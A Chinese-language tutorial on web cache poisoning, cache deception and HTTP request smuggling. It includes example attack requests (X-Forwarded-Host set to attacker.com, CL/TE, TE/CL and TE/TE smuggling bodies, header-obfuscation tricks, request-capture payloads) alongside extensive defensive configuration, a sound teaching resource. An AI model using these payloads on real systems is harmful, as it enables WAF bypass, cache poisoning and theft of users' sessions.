Web 缓存投毒与请求走私
概述
Web 缓存投毒(Web Cache Poisoning)和 HTTP 请求走私(HTTP Request Smuggling)是两类严重威胁 Web 应用安全的攻击技术。它们都利用了 CDN、反向代理、负载均衡器等中间件与后端服务器之间的行为差异或配置缺陷,实施攻击。
- Web 缓存投毒:攻击者通过操纵 HTTP 请求中的特定字段,诱使缓存服务器将恶意响应缓存下来,并分发给后续的普通用户,从而达到投毒效果。
- HTTP 请求走私:攻击者利用前端代理(如 CDN、反向代理)与后端服务器对 HTTP 协议解析的差异,构造模糊不清的请求,使前端和后端对请求边界做出不同判断,从而实现请求走私。
这两种攻击技术既可以独立运用,也可以组合使用——通过请求走私配合缓存投毒,攻击者可以在无需直接控制源站的情况下,向大量用户分发恶意内容。
Web 缓存投毒原理
CDN / 反向代理缓存机制
CDN 和反向代理处于用户与源站服务器之间,它们按照以下流程工作:
- 用户发起 HTTP 请求到达缓存节点
- 缓存节点根据 Cache Key 查找本地是否有匹配的缓存副本
- 如果命中缓存,直接返回缓存的响应,不再转发请求到源站
- 如果未命中缓存,将请求转发给源站,将源站响应存入缓存后再返回给用户
用户请求: GET /index.html HTTP/1.1
Host: www.example.com
# 缓存节点计算 Cache Key = "GET|www.example.com|/index.html"
# 若 Key 命中缓存 → 直接返回缓存内容
# 若 Key 未命中缓存 → 转发到源站,缓存响应Cache Key 设计缺陷
Cache Key 是缓存服务器用于标识和查找缓存副本的唯一标识符。典型的 Cache Key 由以下部分构成:
| Cache Key 组成部分 | 说明 |
|---|---|
| HTTP 方法 | GET、POST 等 |
| Host 头部 | 请求的目标主机 |
| URL 路径 | 资源路径(如 /index.html) |
| 查询参数 | URL 查询字符串(部分缓存系统包含) |
关键问题在于:如果 Cache Key 只包含上述有限字段,而决定响应内容的其他 HTTP 头部(如 X-Forwarded-Host、X-Original-URL 等)未被纳入 Cache Key 的计算范围,攻击者就可以通过操纵这些"未键控(unkeyed)"的头部来改变响应内容,同时让缓存服务器认为这是一个新请求并缓存投毒后的响应。
缓存投毒攻击方式
未键控 Header 投毒
这是最常见的缓存投毒形式。攻击者寻找那些影响响应内容但未被纳入 Cache Key 的 HTTP 头部。
X-Forwarded-Host 投毒
某些源站会根据 X-Forwarded-Host 头部的值动态生成重定向链接或资源引用地址。
# 攻击者构造的请求
GET /redirect HTTP/1.1
Host: www.example.com
X-Forwarded-Host: attacker.com如果源站返回如下响应:
HTTP/1.1 302 Found
Location: https://attacker.com/redirect缓存服务器将这一响应缓存下来,所有后续访问 /redirect 的用户都将被重定向到攻击者的恶意站点。
X-Original-URL / X-Rewrite-URL 投毒
一些反向代理(如某些 IIS 配置)使用 X-Original-URL 或 X-Rewrite-URL 头来重写请求路径,但这些头部通常不被纳入 Cache Key:
# 请求缓存首页
GET / HTTP/1.1
Host: www.example.com
X-Original-URL: /admin/console如果后端返回了管理员控制台的内容,而缓存服务器以 GET|www.example.com|/ 作为 Key 缓存了该响应,后续所有用户访问首页都会看到管理员控制台界面。
Cookie 投毒
当 Cookie 影响后端响应内容(如个性化页面、A/B 测试)但未被纳入 Cache Key 时,攻击者可以操纵 Cookie 实施投毒。
# 攻击者构造携带恶意 Cookie 的请求
GET /profile HTTP/1.1
Host: www.example.com
Cookie: session=malicious-profile-data如果源站根据 session Cookie 的值生成页面内容,攻击者可以精心构造一个包含 XSS 载荷的 Cookie 值,使得生成的页面被缓存,后续用户访问时执行恶意脚本。
Host Header 投毒
当后端多个虚拟主机共享同一个 IP 时,Host 头部用于区分不同的站点。如果 Host 头部被攻击者篡改且影响响应内容,就可能导致缓存投毒:
# 攻击者构造的请求
GET / HTTP/1.1
Host: evil.com某些配置不当的服务器会返回基于 Host 头生成的页面(如动态资源引用路径),缓存服务器可能以 GET|evil.com|/ 作为 Key 缓存该响应,或者更糟糕的是,如果缓存 Key 只包含 URL 路径而不包含 Host,则影响面更广。
缓存投毒攻击流程总结
1. 攻击者分析目标缓存配置 → 识别未键控头部
2. 构造包含恶意头部值的请求 → 使源站返回毒化响应
3. 毒化响应被缓存节点存储
4. 普通用户发起正常请求 → 命中缓存 → 收到毒化响应
5. 用户遭受 XSS、钓鱼攻击、恶意重定向等危害缓存欺骗(Web Cache Deception)
原理
缓存欺骗(Web Cache Deception)是一种利用 URL 后缀欺骗缓存服务器,使其储存敏感数据的攻击技术。
核心思想是:攻击者诱导用户访问一个看似静态资源但实际返回动态敏感内容的 URL,缓存服务器看到 URL 以静态文件后缀(如 .css、.js、.jpg)结尾,便认为这是一个"可缓存"的静态资源并将其存入缓存。
攻击流程
1. 攻击者构造 URL: https://example.com/profile/settings.css
2. 诱导受害者(已登录)访问该 URL
3. 后端框架(如 Django、Rails)将 /profile/settings 解析为用户设置页面
4. .css 后缀未被后端特殊处理,正常返回 HTML(包含用户敏感信息)
5. CDN/反向代理看到 .css 后缀,按照默认规则缓存该响应
6. 攻击者访问同一 URL,获取缓存中其他用户的敏感信息(Token、API Key 等)实际案例
# 攻击者诱导受害者访问
GET /api/user/private-info.js HTTP/1.1
Host: bank.example.com
Cookie: session=valid-user-session
# 后端仍然返回 JSON 敏感数据(未对 .js 后缀做特殊处理)
HTTP/1.1 200 OK
Content-Type: application/json
Cache-Control: public, max-age=3600
{"name": "张三", "account": "6222****1234", "balance": 500000}
# 攻击者稍后访问同一 URL
GET /api/user/private-info.js HTTP/1.1
Host: bank.example.com
# 命中缓存,获取到受害者的敏感信息防御要点
- 所有 API 端点显式设置
Cache-Control: no-store - CDN 配置中仅缓存明确允许的资源路径和静态文件类型
- 后端框架对 URL 后缀进行规范化处理,避免将
.css、.js等后缀当作路径一部分处理
HTTP 请求走私原理
背景
HTTP 请求走私(HTTP Request Smuggling)最早由安全研究员在 2005 年提出,并在 2019 年由 PortSwigger 的研究者重新发掘并系统化。其核心在于前端代理(CDN / 负载均衡器 / 反向代理)和后端应用服务器对 HTTP 请求边界的解析方式存在差异。
HTTP 协议提供了两种指定请求体长度的方式:
| 方式 | 头部 | 说明 |
|---|---|---|
| Content-Length | Content-Length: 42 | 以字节为单位指定请求体的精确长度 |
| Transfer-Encoding | Transfer-Encoding: chunked | 使用分块传输编码,每个数据块前标注长度,以长度为 0 的块结束 |
当两种方式同时出现或解析不一致时,就为请求走私创造了条件。
CL / TE 攻击
前端使用 Content-Length,后端使用 Transfer-Encoding:
# 攻击者构造的请求
POST /admin HTTP/1.1
Host: vulnerable.com
Content-Length: 44
Transfer-Encoding: chunked
0
GET /protected HTTP/1.1
Host: internal.com- 前端代理(使用 CL):认为请求体长度为 44 字节,即完整接收了上述全部内容,将其视为一个完整的请求转发给后端。
- 后端服务器(使用 TE):看到
Transfer-Encoding: chunked,按照分块编码解析。发现第一块长度为 0,即认为第一个请求结束,剩余的GET /protected...被解析为下一个请求,从而实现请求走私。
TE / CL 攻击
前端使用 Transfer-Encoding,后端使用 Content-Length:
# 攻击者构造的请求
POST / HTTP/1.1
Host: vulnerable.com
Transfer-Encoding: chunked
Content-Length: 4
58
GET /admin HTTP/1.1
Host: internal.com
0- 前端代理(使用 TE):按照分块编码解析,读取到第一个数据块长度为
58(十六进制,即 88 字节),接着读取到结束块0,认为请求结束,将整个内容转发给后端。 - 后端服务器(使用 CL):看到
Content-Length: 4,只读取前 4 个字节(58\r\n),剩余内容(GET /admin...)被当作下一个请求处理。
TE / TE 攻击
前端和后端都支持 Transfer-Encoding,但对分块编码的实现存在差异:
# 攻击者构造的请求
POST / HTTP/1.1
Host: vulnerable.com
Transfer-Encoding: chunked
Transfer-Encoding: x
0
GET /admin HTTP/1.1
Host: internal.com- 前端代理:看到第一个 TE 头部是
chunked,正常解析。遇到第二个 TE 头部x(无效值),某些前端会忽略该头部。 - 后端服务器:某些后端会优先选择第二个 TE 头部
x,认为这不是有效编码,于是回退到 Content-Length 模式。由于没有 Content-Length 头部,后端认为请求体长度为 0,请求在此结束。剩余内容被解析为下一个请求。
更常见的是利用 HTTP 头部解析的差异:
POST / HTTP/1.1
Host: vulnerable.com
Transfer-Encoding: chunked
Transfer-encoding: chunked
0
GET /admin HTTP/1.1
Host: internal.com前端可能区分大小写,只识别小写的 transfer-encoding: chunked,而后端可能不区分大小写,两者都识别。这种细微的差异就可能被攻击者利用。
请求走私类型对比
| 攻击类型 | 前端解析方式 | 后端解析方式 | 利用难度 |
|---|---|---|---|
| CL / TE | Content-Length | Transfer-Encoding | 较低 |
| TE / CL | Transfer-Encoding | Content-Length | 中等 |
| TE / TE | Transfer-Encoding(实现 A) | Transfer-Encoding(实现 B) | 较高 |
请求走私攻击方式
前后端解析差异详解
HTTP 请求走私的核心是找到前端和后端对 HTTP 协议解析的具体差异点。常见差异包括:
HTTP/1.1 与 HTTP/1.0 回退
当后端服务器只支持 HTTP/1.0 时,它不会理解 Transfer-Encoding: chunked,从而回退到按 Content-Length 解析。如果前端是基于 HTTP/1.1 的现代代理,就会产生解析差异。
Transfer-Encoding 头部处理差异
不同 HTTP 解析器对以下情况的行为不同:
# 多个 TE 头部(RFC 建议合并,但实际实现不同)
Transfer-Encoding: chunked
Transfer-Encoding: identity
# 混淆的 TE 头部值
Transfer-Encoding: xchunked
Transfer-Encoding: \r\n chunked
# 大小写混合
transfer-encoding: ChunkedContent-Length 与 Transfer-Encoding 冲突
当请求同时携带 Content-Length 和 Transfer-Encoding 头部时:
- RFC 7230 规定:如果同时收到这两个头部,且 TE 有效,则 CL 应被忽略
- 但许多实现并未严格遵守这一规定,导致解析不一致
POST / HTTP/1.1
Host: example.com
Content-Length: 13
Transfer-Encoding: chunked
0
smuggled攻击向量构造技巧
攻击者可以使用多种技巧来触发解析差异:
# 利用 CL 的重复值
Content-Length: 5
Content-Length: 10
# 利用头部折叠(Header Folding)
Content-Length:
5
# 利用 CL 中的空格和前缀零
Content-Length: 005
Content-Length: 5
# 利用截断的请求体
POST / HTTP/1.1
Host: example.com
Content-Length: 99999请求走私攻击利用
绕过 WAF
Web 应用防火墙(WAF)通常部署在前端代理位置。通过请求走私,攻击者可以绕过 WAF 的检测规则。
# WAF 检测到这个请求,可能会拦截
GET /admin/delete HTTP/1.1
Host: example.com
Cookie: session=admin
# 通过请求走私绕过 WAF
POST /public HTTP/1.1
Host: example.com
Content-Length: 44
Transfer-Encoding: chunked
0
GET /admin/delete HTTP/1.1
Host: example.comWAF 将第一个 /public 请求放行,而真正的恶意请求 /admin/delete 被走私到后端并执行。
窃取用户请求
利用请求走私,攻击者可以"劫持"后续用户的请求内容,窃取 Cookie、Token 等敏感信息。
# 攻击者构造的走私请求
POST / HTTP/1.1
Host: example.com
Content-Length: 62
Transfer-Encoding: chunked
0
GET / HTTP/1.1
Host: example.com
X-Ignore: X当攻击者的请求被走私后,后续用户的正常请求会被拼接在走私请求之后。如果攻击者的请求被设计为将响应体中的内容反射回来,就可以窃取后续用户的请求数据。
# 实际效果:后续用户的请求被附加到走私请求后面
GET / HTTP/1.1
Host: example.com
X-Ignore: XGET /real-user-profile HTTP/1.1
Host: example.com
Cookie: session=real-user-cookie # ← 用户 Cookie 被泄露缓存污染(Cache Poisoning via Smuggling)
结合缓存投毒,请求走私可以实现更大规模的攻击——在不直接控制源站响应的情况下污染缓存。
# 走私请求,让后端返回恶意响应
POST / HTTP/1.1
Host: example.com
Content-Length: 60
Transfer-Encoding: chunked
0
GET /static/script.js HTTP/1.1
Host: example.com如果后端返回的响应包含恶意内容,并且被前端代理缓存,所有请求 /static/script.js 的用户都会收到毒化后的响应。
其他利用场景
| 利用场景 | 说明 |
|---|---|
| 会话劫持 | 走私请求窃取其他用户的 Session Cookie |
| 越权操作 | 走私请求访问本无权访问的管理接口 |
| 内部 API 探测 | 走私请求访问内网 API 端点 |
| 反射型 XSS 触发 | 走私请求将恶意内容注入到正常响应中 |
防御方案
HTTP/2 升级
HTTP/2 使用二进制分帧机制来划分请求边界,从根本上消除了基于文本解析差异的请求走私问题。HTTP/2 的帧结构在协议层面明确定义了每个请求的开始和结束,不再依赖 Content-Length 和 Transfer-Encoding 头部来判断请求边界。
升级到 HTTP/2 是消除请求走私最彻底的方案。
统一解析器
确保前端代理和后端服务器使用相同(或兼容性一致)的 HTTP 解析器,消除解析差异。具体措施包括:
- 使用同一 HTTP 解析库(如采用相同版本的 Nginx、Envoy)
- 定期进行解析一致性测试
- 在升级任一组件的 HTTP 解析器时,评估对整体架构的影响
禁用 TE Headers
在前端代理层面,强制移除或规范化 Transfer-Encoding 头部:
# Nginx 配置示例 — 移除 TE 头部
proxy_set_header Transfer-Encoding "";
# 或限制只允许 Content-Length
client_body_buffer_size 1k;
client_max_body_size 1k;在不需要支持分块编码的场景下(如 REST API 没有大文件上传需求),可以直接在代理层忽略 Transfer-Encoding 头部。
正确配置 WAF
WAF 规则需要同时检测前端和后端的请求解析路径:
# ModSecurity 规则示例 — 检测可疑的 TE/CL 冲突
SecRule REQUEST_HEADERS:Content-Length "!@eq 0" \
"chain,id:1001,phase:1,t:urlDecode,block"
SecRule REQUEST_HEADERS:Transfer-Encoding "@streq chunked" \
"msg:'检测到 CL/TE 走私攻击'"WAF 还应检测:
- 同一个头部出现多次的情况(尤其是 CL 和 TE)
- CL 值为 0 但存在请求体的请求
- TE 头部包含非法值的请求
- 非 GET/POST 方法携带请求体的情况
规范化 HTTP 头部处理
在接入层统一处理 HTTP 头部:
# Python Flask 中间件示例 — 规范化请求头部
from werkzeug.middleware.http_proxy import ProxyFix
# 使用 werkzeug 的 ProxyFix 确保 X-Forwarded-* 头部被正确处理
app.wsgi_app = ProxyFix(app.wsgi_app, x_for=1, x_proto=1, x_host=1)缓存服务器安全配置
针对缓存投毒,需要对缓存服务器进行安全加固:
# Nginx 缓存安全配置示例
proxy_cache_key "$scheme$request_method$host$uri$is_args$args";
# 将关键头部纳入 Cache Key
proxy_set_header X-Forwarded-Host $host;
proxy_set_header X-Real-IP $remote_addr;
# 禁止缓存包含敏感 Cookie 的响应
proxy_no_cache $cookie_session;
proxy_cache_bypass $cookie_session;
# 限制可缓存的 Content-Type
proxy_cache_valid 200 302 10m;
proxy_cache_valid 404 1m;Cache Key 加固
将所有影响响应内容的 HTTP 头部纳入 Cache Key:
# 安全的 Cache Key 应包含
Cache-Key = HTTP_METHOD + HOST + URL_PATH + QUERY_STRING
+ X_FORWARDED_HOST (如果影响响应)
+ AUTHORIZATION (如果影响响应)
+ COOKIE (如果影响响应)纵深防御清单
| 防御层面 | 措施 | 优先级 |
|---|---|---|
| 协议层面 | 升级到 HTTP/2 或 HTTP/3 | 🔴 必须 |
| 代理层面 | 统一 HTTP 解析器,消除 CL/TE 歧义 | 🔴 必须 |
| 缓存层面 | 将影响响应的所有头部纳入 Cache Key | 🔴 必须 |
| 缓存层面 | 配置 Cache-Control: no-store 于敏感 API | 🔴 必须 |
| 接入层面 | 在代理层移除或规范化 TE 头部 | 🟡 推荐 |
| WAF 层面 | 部署检测 CL/TE 冲突的规则 | 🟡 推荐 |
| 监控层面 | 监控异常的缓存命中率和请求模式 | 🟡 推荐 |
| 开发层面 | 安全编码规范,正确处理 HTTP 头部 | 🟢 建议 |
总结
Web 缓存投毒和 HTTP 请求走私代表了 Web 安全领域中针对基础设施层的攻击技术。它们的共同特点是利用组件之间的行为差异——无论是 CDN 与源站之间的缓存策略差异,还是前端代理与后端服务器之间的 HTTP 解析差异。
| 攻击类型 | 核心原理 | 主要危害 | 推荐防御 |
|---|---|---|---|
| 缓存投毒 | 未键控头部影响响应内容 | 大规模分发恶意内容 | 加固 Cache Key,限制可缓存类型 |
| 缓存欺骗 | URL 后缀欺骗缓存 | 敏感数据泄露 | API 端点设置合理的缓存策略 |
| 请求走私 | 前后端解析差异 | 绕过 WAF、窃取请求、缓存污染 | 升级 HTTP/2,统一解析器 |
核心防御原则:
- 永远不要假设前端和后端对 HTTP 协议的理解完全一致
- 所有影响响应内容的请求因子(头部、Cookie、参数)都应纳入 Cache Key
- 敏感数据始终设置
Cache-Control: no-store - 向 HTTP/2 迁移是解决请求走私的根本方案